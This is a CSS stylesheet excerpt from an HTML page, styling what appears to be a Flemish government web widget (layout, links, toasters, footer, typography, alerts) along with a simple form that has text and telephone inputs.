        background-color: #e8ebee;
      }

      .vlw .vl-region:not(.vl-region--alt)+.vl-region--alt,
      .vlw .vl-region--alt+.vl-region:not(.vl-region--alt) {
        padding-top: 6rem;
      }

      @media screen and (max-width: 767px) {

        .vlw .vl-region:not(.vl-region--alt)+.vl-region--alt,
        .vlw .vl-region--alt+.vl-region:not(.vl-region--alt) {
          padding-top: 3rem;
        }
      }

      .vlw .vl-region:first-child {
        padding-top: 6rem;
      }

      @media screen and (max-width: 767px) {
        .vlw .vl-region:first-child {
          padding-top: 2rem;
        }
      }

      .vlw .vl-region--small {
        padding: 1.5rem 0;
      }

      @media screen and (max-width: 767px) {
        .vlw .vl-region--small {
          padding: 2rem 0;
        }
      }

      .vlw .vl-region--medium {
        padding: 3rem 0;
      }

      @media screen and (max-width: 767px) {
        .vlw .vl-region--medium {
          padding: 2rem 0;
        }
      }

      .vlw .vl-region--bordered+.vl-region--bordered {
        border-top: 1px solid #e8ebee;
      }

      .vlw .vl-region--bordered+.vl-region--bordered.vl-region--alt {
        border-top-color: #fff;
      }

      .vlw .vl-layout {
        position: relative;
        margin: 0 auto;
        min-width: 1024px;
        max-width: 1280px;
        padding: 0 3rem;
      }

      @media screen and (max-width: 1023px) {
        .vlw .vl-layout {
          width: auto;
          min-width: 768px;
          max-width: 1280px;
        }
      }

      @media screen and (max-width: 767px) {
        .vlw .vl-layout {
          width: auto;
          min-width: 0;
          padding: 0 1.5rem;
        }
      }

      .vlw .vlw__link {
        display: inline-flex;
        font-size: 16px;
        line-height: 1;
        text-decoration: underline;
        background: none;
        border: none;
        font-family: var(--vlw-theme-base-font, flanders-sans, sans-serif);
        cursor: pointer;
        padding: 0;
      }

      .vlw .vlw__link:hover,
      .vlw .vlw__link:focus {
        text-decoration: none;
      }

      .vlw .vlw__link:hover {
        color: var(--vlw-theme-functional-hover-color, #003bb0);
      }

      .vlw .vlw__link:focus,
      .vlw .vlw__link:active {
        color: var(--vlw-theme-functional-active-color, #004099);
      }

      .vlw .vlw__link--small {
        font-size: 14px;
      }

      .vlw .vlw__link--small .vlw__link__icon {
        flex: 0 0 10px;
        width: 10px;
        height: 10px;
      }

      .vlw .vlw__link--medium {
        font-weight: var(--vlw-theme-font-weight-bold, 500);
      }

      .vlw .vlw__link--alt .vlw__link__icon {
        fill: #333332;
      }

      .vlw .vlw__link__label {
        text-decoration: none;
      }

      .vlw .vlw__link__annotation {
        font-size: 14px;
        font-weight: 400;
        color: #333332;
        line-height: inherit;
      }

      .vlw .vlw__link--icon,
      .vlw .vlw__link--arrow {
        display: inline-flex;
        align-items: center;
        justify-content: space-between;
      }

      .vlw .vlw__link--icon {
        justify-content: flex-start;
      }

      .vlw .vlw__link--block {
        display: flex;
        width: 100%;
      }

      .vlw .vlw__link__icon {
        flex: 0 0 14px;
        width: 14px;
        height: 14px;
        margin-right: 5px;
        fill: var(--vlw-theme-functional-color, #05c);
      }

      .vlw .vlw__link__icon--before {
        margin-right: 5px;
      }

      .vlw .vlw__link__icon--after {
        margin-left: 5px;
      }

      .vlw .vlw__link__icon--alt {
        fill: #333332 !important;
      }

      .vlw .vlw__link__icon--small {
        flex: 0 0 10px;
        width: 10px;
        height: 10px;
      }

      .vlw .vlw__link__icon--large {
        flex: 0 0 18px;
        width: 18px;
        height: 18px;
      }

      .vlw .vlw__link__arrow {
        flex: 0 0 12px;
        margin-left: auto;
        fill: #000;
        width: 12px;
        height: 12px;
      }

      .vlw .vlw__loader {
        display: inline-flex;
        position: relative;
        width: 30px;
        min-height: 10px;
      }

      .vlw .vlw__loader::before {
        content: "";
        display: block;
        position: absolute;
        top: 50%;
        left: 50%;
        margin-top: -2px;
        margin-left: -24px;
        width: 4px;
        height: 4px;
        background-color: rgba(0, 0, 0, 0);
        border-radius: 50%;
        box-shadow: 10px 0px #666, 20px 0px #666, 30px 0px #666;
        animation: loader-wave infinite 1s linear;
        animation: loader-wave infinite 1s linear;
      }

      @keyframes loader-wave {
        0% {
          box-shadow: 10px 0px #666, 20px 0px #666, 30px 0px #666;
        }

        10% {
          box-shadow: 10px -3px #666, 20px 0px #666, 30px 0px #666;
        }

        20% {
          box-shadow: 10px -6px #666, 20px -3px #666, 30px 0px #666;
        }

        30% {
          box-shadow: 10px -3px #666, 20px -6px #666, 30px -3px #666;
        }

        40% {
          box-shadow: 10px 0px #666, 20px -3px #666, 30px -6px #666;
        }

        50% {
          box-shadow: 10px 0px #666, 20px 0px #666, 30px -3px #666;
        }

        60% {
          box-shadow: 10px 0px #666, 20px 0px #666, 30px 0px #666;
        }

        100% {
          box-shadow: 10px 0px #666, 20px 0px #666, 30px 0px #666;
        }
      }

      .vlw .vlw__overlay {
        position: fixed;
        z-index: 10000;
        top: 0;
        left: 0;
        right: 0;
        bottom: 0;
        width: 100%;
        height: 100%;
        background: rgba(232, 235, 238, 0.7);
      }

      .vlw .vlw__pill {
        display: inline-flex;
        max-width: 100%;
        align-items: center;
        background-color: #fff;
        font-size: 14px;
        font-weight: 500;
        color: #666;
        text-decoration: none;
        vertical-align: middle;
        border-radius: 3px;
        border: 1px solid #687483;
        transition: color 0.2s, background-color 0.2s, box-shadow 0.2s;
        padding: 0 8px;
        line-height: calc(24px - 2px);
        min-width: 0;
      }

      .vlw .vlw__pill__text {
        white-space: nowrap;
        overflow: hidden;
        text-overflow: ellipsis;
        width: 100%;
      }

      .vlw .vlw__pill--warning {
        background-color: #fef9e5;
        border-color: #ffc515;
      }

      .vlw .vlw__popover {
        display: inline-flex;
        position: relative;
      }

      .vlw .vlw__popover--align-right .vlw__popover__content {
        right: -18px;
      }

      .vlw .vlw__popover--align-right .vlw__popover__content .vlw__popover__arrow {
        right: 12px;
        left: auto;
      }

      .vlw .vlw__popover__content {
        position: absolute;
        z-index: 10005;
        top: calc(100% + 6px);
        display: inline-block;
        box-shadow: 0 6px 15px rgba(0, 0, 0, 0.15);
        width: 300px;
        max-width: 100vw;
        background: #fff;
      }

      .vlw .vlw__popover__content--large {
        width: 450px;
      }

      .vlw .vlw__popover__content--large .vlw__dropdown__content:before {
        border-color: transparent transparent #e8ebee transparent;
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__popover__content {
          box-shadow: 0 -3px 25px rgba(0, 0, 0, 0.2);
        }
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__popover__content {
          position: fixed;
          top: auto;
          left: 5px;
          right: 5px !important;
          bottom: 5px;
          width: calc(100% - 10px);
          max-height: 70vh;
        }
      }

      .vlw .vlw__popover__content .vlw__popover__arrow {
        display: block;
        content: "";
        position: absolute;
        left: 2px;
        top: -10px;
        border: 12px solid transparent;
        border-bottom-color: #fff;
        border-top-width: 0;
      }

      .vlw .vlw__popover__content .vlw__popover__arrow--alt {
        border-bottom-color: #e8ebee;
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__popover__content .vlw__popover__arrow {
          display: none;
        }
      }

      .vlw .vlw__toasters {
        z-index: 10006;
        overflow: auto;
        max-height: 100vh;
        transition: transform 0.3s ease-in-out;
        float: right;
        position: absolute;
        right: 0;
      }

      .vlw .vlw__toaster {
        padding: 15px;
      }

      .vlw .vlw__toaster:not(:first-child) {
        padding-top: 0;
      }

      .vlw .vlw__toaster__item {
        display: flex;
        position: relative;
        width: 100%;
        max-width: 300px;
        border: 1px #cbd2da solid;
        box-shadow: 0 6px 15px rgba(0, 0, 0, 0.15);
        padding: 10px;
        background: #e8ebee;
      }

      .vlw .vlw__toaster__item:not(:last-of-type) {
        margin-bottom: 5px;
      }

      .vlw .vlw__toaster__item--success {
        background: #f7fae5;
      }

      .vlw .vlw__toaster__item--success .vlw__toaster__item__img {
        background: #8bae00;
      }

      .vlw .vlw__toaster__item--warning {
        background: #fef9e5;
      }

      .vlw .vlw__toaster__item--warning .vlw__toaster__item__img {
        background: #ffc515;
      }

      .vlw .vlw__toaster__item--error {
        background: #fbe6e6;
      }

      .vlw .vlw__toaster__item--error .vlw__toaster__item__img {
        background: #db3434;
      }

      .vlw .vlw__toaster__item__close {
        position: absolute;
        z-index: 2;
        top: 4px;
        right: 4px;
        padding: 8px;
        border: 0;
        background: none;
        fill: #333332;
        cursor: pointer;
      }

      .vlw .vlw__toaster__item__close:hover,
      .vlw .vlw__toaster__item__close:focus {
        fill: var(--vlw-theme-functional-color, #05c);
      }

      .vlw .vlw__toaster__item__close__icon {
        width: 11px;
        height: 11px;
        fill: inherit;
      }

      .vlw .vlw__toaster__item__content {
        width: 100%;
      }

      .vlw .vlw__toaster__item__title {
        font-size: 16px;
        font-weight: 500;
        line-height: 1.25;
        margin-bottom: 10px;
        max-width: calc(100% - 20px);
      }

      .vlw .vlw__toaster__item__message {
        position: relative;
        z-index: 1;
      }

      .vlw .vlw__toaster__item__actions {
        margin-top: 15px;
      }

      .vlw .vlw__toaster__item__img {
        display: flex;
        align-items: center;
        justify-content: center;
        background: #cbd2da;
        flex: 0 0 20px;
        width: 20px;
        height: 20px;
        border-radius: 20px;
        margin-right: 10px;
      }

      .vlw .vlw__toaster__item__img__icon {
        fill: #fff;
        width: 12px;
        height: 12px;
      }

      .vlw .vlw-transition-toaster-fade-enter-active {
        transition: opacity 0.3s ease;
      }

      .vlw .vlw-transition-toaster-fade-leave-active {
        transition: opacity 0.3s ease;
      }

      .vlw .vlw-transition-toaster-fade-enter,
      .vlw .vlw-transition-toaster-fade-leave-to {
        opacity: 0;
      }

      .vlw .vlw__footer {
        background: #fff;
        border-top: 1px #cbd2da solid;
        z-index: 100;
      }

      .vlw .vlw__footer__container {
        display: flex;
        padding: 30px;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__footer__container {
          flex-wrap: wrap;
          padding: 15px;
          align-items: center;
        }
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__footer__container {
          flex-wrap: wrap;
          padding: 15px;
        }
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__footer__col:not(:last-of-type) {
          margin-bottom: 15px;
        }
      }

      .vlw .vlw__footer__umbrella {
        flex: 0 0 17%;
        margin-right: 3%;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__footer__umbrella {
          flex: 0 0 50%;
          margin-right: 0;
          margin-bottom: 15px;
        }
      }

      .vlw .vlw__footer__umbrella__logo {
        display: flex;
        max-width: 155px;
        height: auto;
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__footer__umbrella__logo {
          max-width: 120px;
        }
      }

      .vlw .vlw__footer__body {
        display: flex;
        flex-direction: column;
        justify-content: space-between;
        flex: 1 1 60%;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__footer__body {
          order: 3;
        }
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__footer__body {
          flex: 0 0 100%;
        }
      }

      .vlw .vlw__footer__body__title {
        font-size: 18px;
        font-weight: var(--vlw-theme-font-weight-bold, 500);
        line-height: 1;
      }

      .vlw .vlw__footer__body__title a {
        font-size: inherit;
        color: inherit;
      }

      .vlw .vlw__footer__body__title a:hover,
      .vlw .vlw__footer__body__title a:focus {
        color: var(--vlw-theme-functional-color, #05c);
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__footer__body__title {
          font-size: 14px;
          font-weight: 400;
          line-height: 18px;
        }
      }

      .vlw .vlw__footer__body__subtitle {
        display: block;
        font-size: 14px;
        font-weight: 400;
        line-height: 18px;
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__footer__body__subtitle {
          display: inline;
        }
      }

      .vlw .vlw__footer__body__icon {
        display: inline-block;
        vertical-align: middle;
        width: 10px;
        height: 10px;
        fill: #666;
        margin-left: 3px;
      }

      .vlw .vlw__footer__body__links {
        display: flex;
        flex-wrap: wrap;
        margin-top: 15px;
      }

      .vlw .vlw__footer__body__links__item {
        display: flex;
        align-items: center;
      }

      .vlw .vlw__footer__body__links__item__cta {
        font-size: 14px;
        line-height: 1;
        margin-top: 2px;
        color: #333332;
        font-weight: 400;
      }

      .vlw .vlw__footer__body__links__item__cta:hover,
      .vlw .vlw__footer__body__links__item__cta:focus {
        color: var(--vlw-theme-functional-color, #05c);
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__footer__body__links__item__cta {
          line-height: 1.3;
        }
      }

      .vlw .vlw__footer__body__links__item:not(:last-of-type) {
        margin-right: 10px;
      }

      .vlw .vlw__footer__body__links__item:not(:last-of-type)::after {
        content: "";
        display: inline-block;
        width: 1px;
        margin-top: 1px;
        height: 10px;
        background: #cbd2da;
        margin-left: 10px;
      }

      .vlw .vlw__footer__side {
        display: flex;
        flex-direction: column;
        justify-content: space-between;
        flex: 1 0 18%;
        margin-left: 2%;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__footer__side {
          order: 2;
          flex: 1 0 50%;
          margin-left: 0;
          margin-bottom: 15px;
        }
      }

      .vlw .vlw__footer__host {
        text-align: right;
      }

      .vlw .vlw__footer__host__departement,
      .vlw .vlw__footer__host__site-owner {
        font-size: 16px;
        text-transform: uppercase;
        line-height: 1;
      }

      @media screen and (max-width: 500px) {

        .vlw .vlw__footer__host__departement,
        .vlw .vlw__footer__host__site-owner {
          font-size: 14px;
        }
      }

      .vlw .vlw__footer__host__departement {
        font-weight: 400;
        margin-top: 2px;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__footer__host__departement {
          margin-top: 0;
        }
      }

      .vlw .vlw__footer__host__site-owner {
        font-weight: var(--vlw-theme-font-weight-bold, 500);
      }

      .vlw .vlw__footer__host__site-owner[src] {
        max-width: 150px;
        max-height: 40px;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__footer__host__site-owner[src] {
          max-width: 100px;
          max-height: 30px;
        }
      }

      .vlw .vlw__footer__language {
        display: flex;
        justify-content: flex-end;
        margin-top: 15px;
      }

      .vlw .vlw__footer__language:only-child {
        margin-top: auto;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__footer__language {
          justify-content: flex-start;
        }
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__footer__language--desktop {
          display: none;
        }
      }

      .vlw .vlw__footer__language--mobile {
        display: none;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__footer__language--mobile {
          display: flex;
        }
      }

      .vlw .vlw__footer__language__item {
        line-height: 1;
      }

      .vlw .vlw__footer__language__item__cta {
        text-transform: uppercase;
        font-size: 14px;
        font-weight: var(--vlw-theme-font-weight-bold, 500);
        text-decoration: none;
        color: #333332;
        padding: 0 5px;
      }

      .vlw .vlw__footer__language__item__cta:hover,
      .vlw .vlw__footer__language__item__cta:focus {
        color: var(--vlw-theme-functional-color, #05c);
        text-decoration: underline;
      }

      .vlw .vlw__footer__language__item__cta--is-selected {
        color: #666;
      }

      [data-useragent*="MSIE 9.0"] .vlw .vlw__footer,
      [data-useragent*="MSIE 10.0"] .vlw .vlw__footer {
        display: none !important;
      }

      .vlw__footer[data-collapsible] {
        position: relative;
      }

      .vlw__footer[data-collapsible] .vlw__footer__placeholder {
        position: relative;
      }

      .vlw__footer[data-collapsible] .vlw__footer__small-container {
        display: block;
        position: fixed;
        bottom: 0;
        left: 0;
        right: 0;
        background-color: #fff;
      }

      @media screen and (max-width: 767px) {
        .vlw__footer[data-collapsible] .vlw__footer__small-container {
          font-size: 14px;
        }
      }

      .vlw__footer[data-collapsible] .vlw__footer__small-container .vlw__footer__container {
        padding: 5px 10px;
      }

      .vlw__footer[data-collapsible] .vlw__footer__small-container .vlw__footer__language {
        margin: 0;
        height: 100%;
        align-items: center;
      }

      @media screen and (max-width: 767px) {
        .vlw__footer[data-collapsible] .vlw__footer__small-container .vlw__footer__language {
          margin: 5px -5px;
        }
      }

      .vlw__footer[data-collapsible] .vlw__footer__large-container {
        display: none;
        position: fixed;
        bottom: 0;
        left: 0;
        right: 0;
        background-color: #fff;
        box-shadow: 0 0 10.5px 4.5px rgba(0, 0, 0, 0.15);
      }

      .vlw__footer[data-collapsible].vlw__footer--opened .vlw__footer__small-container {
        display: none;
      }

      .vlw__footer[data-collapsible].vlw__footer--opened .vlw__footer__large-container {
        display: block;
      }

      .vlw__footer__alignment-helper {
        display: flex;
        align-items: center;
      }

      .vlw__footer__large-container .vlw__footer__alignment-helper {
        align-items: flex-start;
      }

      .vlw__footer__toggle-wrapper {
        display: inline-flex;
        font-size: 14px;
        font-weight: 400;
        line-height: 22px;
      }

      .vlw__footer__toggle-wrapper::before {
        content: "|";
        color: #cbd2da;
        margin: 0 5px 0 10px;
        font-weight: normal;
        transform: translateY(2px);
      }

      .vlw__footer__toggle {
        display: flex;
        appearance: none;
        border: 0;
        padding: 0;
        font-size: 14px;
        font-family: var(--vlw-theme-base-font);
        margin-left: 5px;
        line-height: 21px;
        align-items: center;
        flex-shrink: 0;
        background-color: transparent;
        cursor: pointer;
      }

      @media screen and (max-width: 767px) {
        .vlw__footer__toggle {
          font-size: 14px;
        }
      }

      .vlw .vlw__footer__toggle__icon {
        margin-left: 5px;
        fill: currentColor;
        transform: translateY(1px);
      }

      .vlw__footer__alignment-helper {
        display: inline-flex;
        align-items: center;
      }

      .vlw .vlw__footer__small-container .vlw__footer__col {
        margin-bottom: 0;
      }

      .vlw .vlw__u-visually-hidden {
        position: absolute !important;
        overflow: hidden;
        clip: rect(0 0 0 0);
        height: 1px;
        width: 1px;
        margin: -1px;
        padding: 0;
        border: 0;
      }

      .vlw .vlw__u-align-center {
        text-align: center;
      }

      .vlw .vlw__u-align-full-center {
        display: flex;
        flex: 1;
        flex-direction: column;
        align-items: center;
        justify-content: center;
        height: 100%;
      }

      .vlw .vlw__u-inline-block {
        display: inline-block;
      }

      .vlw .vlw__u-block {
        display: block;
      }

      .vlw .vlw__u-100 {
        width: 100%;
      }

      .vlw .vlw__u-color-error {
        color: #db3434;
      }

      .vlw .vlw__u-divider {
        border: 0;
        border-bottom: 1px #cbd2da solid !important;
      }

      .vlw .vlw__u-divider--full {
        position: relative;
        left: -15px;
        width: calc(100% + 30px);
      }

      .vlw .vlw__u-font-bold {
        font-weight: var(--vlw-theme-font-weight-bold, 500);
      }

      .vlw .vlw__icon {
        width: 24px;
        height: 24px;
        display: flex;
        align-items: center;
        justify-content: center;
      }

      .vlw .vlw__u-placeholder {
        visibility: hidden;
      }

      @media print {
        .vlw .vlw__u-hide-on-print {
          display: none;
        }

        .vlw .vlw__u-show-on-print {
          display: block;
        }
      }

      @media screen and (max-width: 1023px) {
        .vlw .vlw__u-hidden--m {
          display: none !important;
        }
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__u-hidden--s {
          display: none !important;
        }
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__u-hidden--xs {
          display: none !important;
        }
      }

      .vlw .vlw__u-spacer {
        display: block;
        margin-bottom: 15px;
      }

      .vlw .vlw__u-spacer--xs {
        margin-bottom: 5px;
      }

      .vlw .vlw__u-spacer--s {
        margin-bottom: 10px;
      }

      .vlw .vlw__u-spacer--l {
        margin-bottom: 25px;
      }

      .vlw .vlw__u-spacer--none {
        margin-bottom: 0;
      }

      .vlw .vlw__u-typography {
        font-size: 16px;
        line-height: 1.5;
      }

      .vlw .vlw__u-typography>* {
        margin-bottom: 15px;
      }

      .vlw .vlw__u-typography>*:last-child {
        margin-bottom: 0;
      }

      .vlw .vlw__u-typography p,
      .vlw .vlw__u-typography span {
        font-size: 16px;
        color: #333332;
      }

      .vlw .vlw__u-typography h1,
      .vlw .vlw__u-typography h2,
      .vlw .vlw__u-typography h3,
      .vlw .vlw__u-typography h4,
      .vlw .vlw__u-typography h5,
      .vlw .vlw__u-typography .vlw__h1,
      .vlw .vlw__u-typography .vlw__h2,
      .vlw .vlw__u-typography .vlw__h3,
      .vlw .vlw__u-typography .vlw__h4,
      .vlw .vlw__u-typography .vlw__h5 {
        font-weight: var(--vlw-theme-font-weight-bold, 500);
        margin-bottom: 15px;
      }

      .vlw .vlw__u-typography h1,
      .vlw .vlw__u-typography .vlw__h1 {
        font-size: 22px;
      }

      .vlw .vlw__u-typography h2,
      .vlw .vlw__u-typography .vlw__h2 {
        font-size: 20px;
      }

      .vlw .vlw__u-typography h3,
      .vlw .vlw__u-typography .vlw__h3 {
        font-size: 18px;
      }

      .vlw .vlw__u-typography h4,
      .vlw .vlw__u-typography .vlw__h4 {
        font-size: 16px;
      }

      .vlw .vlw__u-typography h5,
      .vlw .vlw__u-typography .vlw__h5 {
        font-size: 14px;
      }

      .vlw .vlw__u-typography ul,
      .vlw .vlw__u-typography ol,
      .vlw .vlw__u-typography .vlw__ul,
      .vlw .vlw__u-typography .vlw__ol {
        margin-left: 18px;
        font-size: 16px;
        line-height: 1.5;
      }

      .vlw .vlw__u-typography ul,
      .vlw .vlw__u-typography .vlw__ul {
        list-style-type: disc;
      }

      .vlw .vlw__u-typography ol,
      .vlw .vlw__u-typography .vlw__ol {
        list-style-type: decimal;
      }

      .vlw .vlw__u-typography b,
      .vlw .vlw__u-typography strong {
        font-weight: var(--vlw-theme-font-weight-bold, 500);
      }

      .vlw .vlw__u-typography i {
        font-style: italic;
      }

      .vlw .vlw__u-typography--small {
        font-size: 14px;
        line-height: 1.25;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__u-typography--small {
          line-height: 1.1;
        }
      }

      .vlw .vlw__u-typography--small p,
      .vlw .vlw__u-typography--small span {
        font-size: 14px;
        margin-bottom: 15px;
      }

      .vlw .vlw__u-typography--small p:last-child,
      .vlw .vlw__u-typography--small span:last-child {
        margin-bottom: 0;
      }

      .vlw .vlw__u-text-clamp {
        display: block;
        max-width: 100%;
        white-space: nowrap;
        overflow: hidden;
        text-overflow: ellipsis;
      }

      .vlw .vlw__u-hr {
        border: 0;
        border-bottom: 1px solid #cbd2da;
        margin-top: 0;
        margin-bottom: 0;
      }

      .vlw .vlw__u-hr--wave {
        background: url("") repeat-x;
        background-size: 20px 4px;
        height: 4px;
        border-bottom: 0;
      }

      .vlw .vlw__u-hr--dashed {
        min-height: 6px;
        border: 0;
        background: url("") repeat-x;
        background-size: 6px 6px;
      }

      .vlw__u-noscroll {
        height: 100%;
        overflow: hidden;
        /* Prevent mobile browsers from allow scrolling to move the address bar away. */
      }

      .vlw__u-noscroll body {
        position: fixed;
        width: 100%;
      }

      /* Global reset */
      * {
        box-sizing: border-box;
        margin: 0;
        padding: 0;
      }

      /* Container for the form */
      .entry {
        max-width: 600px;
        margin: 20px auto;
        padding: 20px;
        background-color: #f9f9f9;
        border-radius: 8px;
        box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        font-family: Arial, sans-serif;
      }

      /* Form Labels */
      .entry-item label {
        display: block;
        font-weight: bold;
        margin-bottom: 5px;
        color: #333;
      }

      /* Input Fields */
      .entry-item input[type="text"],
      .entry-item input[type="tel"] {
        width: 100%;
        padding: 10px;
        margin-bottom: 15px;
        border: 1px solid #ccc;
        border-radius: 4px;
        font-size: 16px;
        transition: border-color 0.3s ease;
      }

      /* Input focus */
      .entry-item input[type="text"]:focus,
      .entry-item input[type="tel"]:focus {
        border-color: #4CAF50;
        outline: none;
      }

      /* Error message styling */
      .error {
        color: #d9534f;
        margin-bottom: 10px;
        font-size: 14px;
      }
    </style>
    <style type="text/css">
      @charset "UTF-8";

      .vlw html,
      .vlw body,
      .vlw div,
      .vlw span,
      .vlw applet,
      .vlw object,
      .vlw iframe,
      .vlw h1,
      .vlw h2,
      .vlw h3,
      .vlw h4,
      .vlw h5,
      .vlw h6,
      .vlw p,
      .vlw blockquote,
      .vlw pre,
      .vlw a,
      .vlw abbr,
      .vlw acronym,
      .vlw address,
      .vlw big,
      .vlw cite,
      .vlw code,
      .vlw del,
      .vlw dfn,
      .vlw em,
      .vlw img,
      .vlw ins,
      .vlw kbd,
      .vlw q,
      .vlw s,
      .vlw samp,
      .vlw small,
      .vlw strike,
      .vlw strong,
      .vlw sub,
      .vlw sup,
      .vlw tt,
      .vlw var,
      .vlw b,
      .vlw u,
      .vlw i,
      .vlw center,
      .vlw dl,
      .vlw dt,
      .vlw dd,
      .vlw ol,
      .vlw ul,
      .vlw li,
      .vlw fieldset,
      .vlw form,
      .vlw label,
      .vlw legend,
      .vlw table,
      .vlw caption,
      .vlw tbody,
      .vlw tfoot,
      .vlw thead,
      .vlw tr,
      .vlw th,
      .vlw td,
      .vlw article,
      .vlw aside,
      .vlw canvas,
      .vlw details,
      .vlw embed,
      .vlw figure,
      .vlw figcaption,
      .vlw footer,
      .vlw header,
      .vlw hgroup,
      .vlw menu,
      .vlw nav,
      .vlw output,
      .vlw ruby,
      .vlw section,
      .vlw summary,
      .vlw time,
      .vlw mark,
      .vlw audio,
      .vlw video {
        margin: 0;
        padding: 0;
        border: 0;
        font-size: 100%;
        font: inherit;
        vertical-align: baseline;
      }

      .vlw article,
      .vlw aside,
      .vlw details,
      .vlw figcaption,
      .vlw figure,
      .vlw footer,
      .vlw header,
      .vlw hgroup,
      .vlw menu,
      .vlw nav,
      .vlw section {
        display: block;
      }

      .vlw body {
        line-height: 1;
      }

      .vlw ol,
      .vlw ul {
        list-style: none;
      }

      .vlw blockquote,
      .vlw q {
        quotes: none;
      }

      .vlw blockquote:before,
      .vlw blockquote:after,
      .vlw q:before,
      .vlw q:after {
        content: "";
        content: none;
      }

      .vlw table {
        border-collapse: collapse;
        border-spacing: 0;
      }

      .vlw,
      .vlw * {
        box-sizing: border-box;
      }

      .vlw::before,
      .vlw::after,
      .vlw *::before,
      .vlw *::after {
        box-sizing: inherit;
      }

      @font-face {
        font-family: "flanders-sans";
        font-style: normal;
        font-weight: 300;
        src: url("");
        src: local("☺"), url("") format("embedded-opentype"), url("flanders-sans-light.woff") format("woff"), url("flanders-sans-light.ttf") format("truetype"), url("") format("svg");
      }

      @font-face {
        font-family: "flanders-sans";
        font-style: normal;
        font-weight: 400;
        src: url("");
        src: local("☺"), url("") format("embedded-opentype"), url("flanders-sans-regular.woff") format("woff"), url("flanders-sans-regular.ttf") format("truetype"), url("") format("svg");
      }

      @font-face {
        font-family: "flanders-sans";
        font-style: normal;
        font-weight: 500;
        src: url("");
        src: local("☺"), url("") format("embedded-opentype"), url("flanders-sans-medium.woff") format("woff"), url("flanders-sans-medium.ttf") format("truetype"), url("") format("svg");
      }

      @font-face {
        font-family: "flanders-sans";
        font-style: normal;
        font-weight: 700;
        src: url("");
        src: local("☺"), url("") format("embedded-opentype"), url("flanders-sans-bold.woff") format("woff"), url("flanders-sans-bold.ttf") format("truetype"), url("") format("svg");
      }

      @font-face {
        font-family: "flanders-serif";
        font-style: normal;
        font-weight: 300;
        src: url("");
        src: local("☺"), url("") format("embedded-opentype"), url("") format("woff"), url("") format("truetype"), url("") format("svg");
      }

      @font-face {
        font-family: "flanders-serif";
        font-style: normal;
        font-weight: 400;
        src: url("");
        src: local("☺"), url("") format("embedded-opentype"), url("") format("woff"), url("") format("truetype"), url("") format("svg");
      }

      @font-face {
        font-family: "flanders-serif";
        font-style: normal;
        font-weight: 500;
        src: url("");
        src: local("☺"), url("") format("embedded-opentype"), url("") format("woff"), url("") format("truetype"), url("") format("svg");
      }

      @font-face {
        font-family: "flanders-serif";
        font-style: normal;
        font-weight: 700;
        src: url("");
        src: local("☺"), url("") format("embedded-opentype"), url("") format("woff"), url("") format("truetype"), url("") format("svg");
      }

      .vlw a,
      .vlw button,
      .vlw [type=submit] {
        color: #0055CC;
        text-decoration: underline;
        text-decoration-skip: ink;
      }

      .vlw a:hover,
      .vlw a:focus,
      .vlw button:hover,
      .vlw button:focus,
      .vlw [type=submit]:hover,
      .vlw [type=submit]:focus {
        text-decoration: none;
        color: #0051C2;
      }

      .vlw a:focus,
      .vlw a:active,
      .vlw button:focus,
      .vlw button:active,
      .vlw [type=submit]:focus,
      .vlw [type=submit]:active {
        color: #004CB8;
      }

      .vlw a:focus,
      .vlw a:active {
        background: none;
        background-color: none;
        border: none;
      }

      .vlw::before {
        display: none;
        content: "large";
      }

      @media screen and (max-width: 1023px) {
        .vlw::before {
          content: "medium";
        }
      }

      @media screen and (min-width: 767.1px) {
        .vlw::before {
          content: "medium-up";
        }
      }

      @media screen and (max-width: 767px) {
        .vlw::before {
          content: "small";
        }
      }

      @media screen and (max-width: 500px) {
        .vlw::before {
          content: "xsmall";
        }
      }

      @media screen and (min-width: 1600.1px) {
        .vlw::before {
          content: "xlarge";
        }
      }

      .vlw h1,
      .vlw h2,
      .vlw h3,
      .vlw h4,
      .vlw h5,
      .vlw h6 {
        color: #333332;
      }

      .vlw {
        font-family: flanders-sans, sans-serif;
        font-size: 16px;
        line-height: 1.5;
        -webkit-font-smoothing: antialiased;
        -moz-osx-font-smoothing: grayscale;
      }

      .vlw .vlw__alert-bar {
        position: relative;
        box-shadow: none;
        z-index: 10002;
      }

      .vlw .vlw__alert-bar .vlw__alert {
        margin-top: -43px;
      }

      .vlw .vlw__alert-bar--showing {
        margin-top: 0;
        box-shadow: 0 1px 3px rgba(12, 13, 14, 0.1), 0 4px 20px rgba(12, 13, 14, 0.035), 0 1px 1px rgba(12, 13, 14, 0.025);
      }

      .vlw .vlw__alert-bar--showing .vlw__alert {
        margin-top: 0;
      }

      .vlw .vlw__alert-bar--browser {
        display: none;
      }

      .vlw .vlw__alert {
        height: 42px;
        min-height: 43px;
        border-bottom: 1px #cbd2da solid;
        display: flex;
        align-items: center;
        justify-content: center;
        padding-left: 10px;
        padding-right: 10px;
        transition: all 0.2s linear;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__alert {
          padding-left: 5px;
          padding-right: 5px;
        }
      }

      .vlw .vlw__alert--error {
        background: #fbe6e6;
      }

      .vlw .vlw__alert--error .vlw__alert__icon {
        background: #db3434;
      }

      .vlw .vlw__alert--warning {
        background: #fef9e5;
      }

      .vlw .vlw__alert--warning .vlw__alert__icon {
        background: #ffc515;
      }

      .vlw .vlw__alert--success {
        background: #f7fae5;
      }

